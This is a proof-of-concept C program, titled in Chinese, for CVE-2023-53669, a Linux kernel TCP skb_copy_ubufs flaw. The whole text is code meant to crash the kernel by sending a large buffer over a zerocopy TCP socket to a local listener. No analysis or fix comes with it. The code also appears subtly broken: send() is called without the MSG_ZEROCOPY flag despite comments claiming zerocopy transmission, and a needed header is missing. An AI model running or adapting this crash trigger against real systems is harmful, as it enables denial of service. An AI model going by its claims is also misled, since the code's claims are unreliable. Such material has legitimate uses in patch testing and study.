CVE-2023-53669 Linux内核TCP skb_copy_ubufs缓冲区拷贝漏洞

/* CVE-2023-53669 PoC - Linux Kernel TCP skb_copy_ubufs crash * Trigger condition: BIG TCP + SO_ZEROCOPY + hugepages + skb > ~68KB * * This PoC demonstrates how to trigger the vulnerability by sending * large data via TCP zerocopy on a system with BIG TCP enabled. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/tcp.h> #define BUFFER_SIZE (256 * 1024) // 256KB, exceeds ~68KB limit #define SERVER_PORT 9999 int main(int argc, char *argv[]) { int sockfd; struct sockaddr_in server_addr; char *buffer; int ret; // Allocate large buffer (must be page-aligned for zerocopy) ret = posix_memalign((void **)&buffer, 4096, BUFFER_SIZE); if (ret != 0) { perror("posix_memalign"); return -1; } // Fill buffer with data memset(buffer, 'A', BUFFER_SIZE); // Create TCP socket sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) { perror("socket"); free(buffer); return -1; } // Enable SO_ZEROCOPY for zero-copy transmission int zerocopy = 1; if (setsockopt(sockfd, SOL_SOCKET, SO_ZEROCOPY, &zerocopy, sizeof(zerocopy)) < 0) { perror("setsockopt SO_ZEROCOPY"); // Continue anyway - may still trigger on some configs } // Connect to server (requires a TCP listener on SERVER_PORT) memset(&server_addr, 0, sizeof(server_addr)); server_addr.sin_family = AF_INET; server_addr.sin_port = htons(SERVER_PORT); server_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) { perror("connect"); close(sockfd); free(buffer); return -1; } // Send large data via zerocopy - triggers skb_copy_ubufs() // with skb size > MAX_SKB_FRAGS * PAGE_SIZE (~68KB) ssize_t sent = send(sockfd, buffer, BUFFER_SIZE, 0); if (sent < 0) { perror("send"); } else { printf("Sent %zd bytes via zerocopy\n", sent); } close(sockfd); free(buffer); return 0; }